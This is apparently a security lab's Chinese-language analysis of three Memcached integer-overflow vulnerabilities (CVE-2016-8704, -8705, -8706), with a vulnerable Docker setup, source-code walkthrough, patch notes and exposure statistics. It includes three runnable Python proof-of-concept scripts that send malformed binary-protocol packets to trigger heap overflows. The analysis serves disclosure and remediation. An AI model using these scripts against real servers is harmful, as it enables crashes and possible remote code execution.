Memcached 命令执行漏洞（CVE-2016-8704、CVE-2016-8705、CVE-2016-8706）简析

Author: p0wd3r, dawu (知道创宇404安全实验室)

Date: 2016-11-01

0x00 漏洞概述

1.漏洞简介

Memcached是一个分布式的高速缓存系统，近日研究者发现在其<1.4.33的版本中存在三个整数溢出漏洞（http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html），通过这几个漏洞攻击者可以触发堆溢出进而远程执行任意命令。官方在11月1日发布了升级公告。

2.漏洞影响

任意命令执行

3.影响版本

< 1.4.33

0x01 漏洞复现

1. 环境搭建

Dockerfile:

FROM debian:jessie

# add our user and group first to make sure their IDs get assigned consistently, regardless of whatever dependencies get added
RUN groupadd -r memcache && useradd -r -g memcache memcache

RUN apt-get update && apt-get install -y --no-install-recommends \
                libevent-2.0-5 \
        && rm -rf /var/lib/apt/lists/*

ENV MEMCACHED_VERSION 1.4.32

RUN buildDeps=' \
                gcc \
                libc6-dev \
                libevent-dev \
                make \
                perl \
                wget \
        ' \
        && set -x \
        && apt-get update && apt-get install -y $buildDeps --no-install-recommends \
        && rm -rf /var/lib/apt/lists/* \
        && wget -O memcached.tar.gz "http://memcached.org/files/memcached-$MEMCACHED_VERSION.tar.gz" \
        && mkdir -p /usr/src/memcached \
        && tar -xzf memcached.tar.gz -C /usr/src/memcached --strip-components=1 \
        && rm memcached.tar.gz \
        && cd /usr/src/memcached \
        && ./configure \
        && make -j$(nproc) \
        && make install \
        && cd / && rm -rf /usr/src/memcached \
        && apt-get purge -y --auto-remove $buildDeps

COPY docker-entrypoint.sh /usr/local/bin/
RUN ln -s usr/local/bin/docker-entrypoint.sh /entrypoint.sh # backwards compat
ENTRYPOINT ["docker-entrypoint.sh"]

USER memcache
EXPOSE 11211
CMD ["memcached", "-vv"]

docker-entrypoint.sh:

#!/bin/sh
set -e

# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
        set -- memcached "$@"
fi

exec "$@"
docker run --name mem-vuln memcached:vuln

2.漏洞分析

漏洞作者已经提供了很详细的描述，在这里仅做简单的翻译和整理。

Memcached支持两种协议来存取数据：ASCII和binary，当我们用binary存取时会出现漏洞。

三个漏洞的触发点均在item.c中的do_item_alloc函数中，关键部分如下：

size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
...
it = slabs_alloc(ntotal, id, &total_bytes, 0);
...
memcpy(ITEM_key(it), key, nkey);
it->exptime = exptime;
memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
it->nsuffix = nsuffix;

程序根据用户可控的nkey和nbytes来创建分配内存的大小，然后将另一个可控的key拷贝到分配的内存区域中，在这个函数汇总并没有对数据长度进行检测，所以如果key的大小 > 分配空间的大小，则会导致堆溢出。

下面分别看这三个漏洞：

CVE-2016-8704：

在memcached.c中，当进行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a) 操作时会进入这样一个分支：

case PROTOCOL_BINARY_CMD_APPEND:
case PROTOCOL_BINARY_CMD_PREPEND:
    if (keylen > 0 && extlen == 0) {
        bin_read_key(c, bin_reading_set_header, 0);
    } else {
        protocol_error = 1;
    }
    break;

这里并仅检查了key的长度，并没有检查body的长度。

解析完binary后程序进入了process_bin_append_prepend函数中：

assert(c != NULL);

key = binary_get_key(c);
nkey = c->binary_header.request.keylen; [2]
vlen = c->binary_header.request.bodylen - nkey; [3]

if (settings.verbose > 1) {
    fprintf(stderr, "Value len is %d\n", vlen);
}

if (settings.detail_enabled) {
    stats_prefix_record_set(key, nkey);
}

it = item_alloc(key, nkey, 0, 0, vlen+2); [4]

这里取我们请求中keylen和bodylen，然后并没有做长度检测，最后调用item_alloc来存储数据，而item_alloc是之前提到的do_item_alloc的封装，所以最后在do_item_alloc中触发溢出。

PoC：

import struct
import socket
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_PREPEND_Q = "\x1a"
key_len = struct.pack("!H",0xfa)
extra_len = "\x00"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
body = "A"*1024

if len(sys.argv) != 3:
        print "./poc_crash.py <server> <port>"

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body

set_packet = "set testkey 0 60 4\r\ntest\r\n"
get_packet = "get testkey\r\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1],int(sys.argv[2])))
s1.sendall(set_packet)
print s1.recv(1024)
s1.close()


s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],int(sys.argv[2])))
s2.sendall(packet)
print s2.recv(1024)
s2.close()

s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1],int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
s3.close()

Crash：

Alt text

CVE-2016-8705：

在memcached.c中，当进行Set (opcode 0x01)，Add (opcode 0x02)， Replace (opcode 0x03) ，SetQ (opcode 0x11)， AddQ (opcode 0x12) ，ReplaceQ (opcode 0x13)作时会进入这样一个分支：

case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_REPLACE:
    if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {
        bin_read_key(c, bin_reading_set_header, 8);
    } else {
        protocol_error = 1;
    }

在这里需满足bodylen >= (keylen + 8)，这里要注意的是各变量类型如下：

int extlen = c->binary_header.request.extlen;
int keylen = c->binary_header.request.keylen;
uint32_t bodylen = c->binary_header.request.bodylen;

解析后程序进入process_bin_update：

static void process_bin_update(conn *c) {
    char *key;
    int nkey;                           
    int vlen;                           
    item *it;
    protocol_binary_request_set* req = binary_get_request(c);

    assert(c != NULL);

    key = binary_get_key(c);
    nkey = c->binary_header.request.keylen;

    /* fix byteorder in the request */
    req->message.body.flags = ntohl(req->message.body.flags);
    req->message.body.expiration = ntohl(req->message.body.expiration);

    vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen);
    ...
    it = item_alloc(key, nkey, req->message.body.flags,
    realtime(req->message.body.expiration), vlen+2);

由于bodylen为无符号整形，在赋值给整形的vlen时会做类型转换，这样导致当我们设置bodylen最高位为1时在转换成整形时bodylen会变成一个负数，最后vlen也就成了一个负数，进而调用item_alloc触发漏洞。

PoC:

import struct
import socket
import sys


MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H",0xfa)
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0xffffffd0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I",0xe10)
body = "A"*1024

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
if len(sys.argv) != 3:
        print "./poc_add.py <server> <port>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()

Crash:

Alt text

CVE-2016-8706：

在使用SASL进行认证时，进入process_bin_sasl_auth函数：

static void process_bin_sasl_auth(conn *c) {
    // Guard for handling disabled SASL on the server.
    if (!settings.sasl) {
        write_bin_error(c, PROTOCOL_BINARY_RESPONSE_UNKNOWN_COMMAND, NULL,
                        c->binary_header.request.bodylen
                        - c->binary_header.request.keylen);
        return;
    }

    assert(c->binary_header.request.extlen == 0);

    int nkey = c->binary_header.request.keylen;     
    int vlen = c->binary_header.request.bodylen - nkey; 

    if (nkey > MAX_SASL_MECH_LEN) {     
        write_bin_error(c, PROTOCOL_BINARY_RESPONSE_EINVAL, NULL, vlen);
        c->write_and_go = conn_swallow;
        return;
    }

    char *key = binary_get_key(c);
    assert(key);

    item *it = item_alloc(key, nkey, 0, 0, vlen);

同第一漏洞，只要bodylen 小于keylen即可。

PoC:

import struct
import socket
import sys


MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_SET = "\x21"
key_len = struct.pack("!H",32)
body_len = struct.pack("!I",1)
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len +   body_len*2 + "A"*1000
if len(sys.argv) != 3:
    print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()

Crash:

Alt text

3.补丁分析

Alt text

在分配内存前检查了数据的大小，在sasl认证的函数中更改了数据类型并检查大小。

0x02 影响分布

zoomeye搜索关键词为: app:memcached,一共搜索到59756条结果，分布如下：

Alt text

其中，中美两国收影响设备居多。以下是zoomeye中中国各省受影响主机分布：

Alt text

0x03 修复方案

升级至1.4.33 （https://github.com/memcached/memcached/wiki/ReleaseNotes1433）

0x04 参考

https://www.seebug.org/vuldb/ssvid-92505

https://www.seebug.org/vuldb/ssvid-92506

https://www.seebug.org/vuldb/ssvid-92507

https://github.com/memcached/memcached/wiki/ReleaseNotes1433

http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html

http://www.talosintelligence.com/reports/TALOS-2016-0219/

http://www.talosintelligence.com/reports/TALOS-2016-0220/

http://www.talosintelligence.com/reports/TALOS-2016-0221/

源链接

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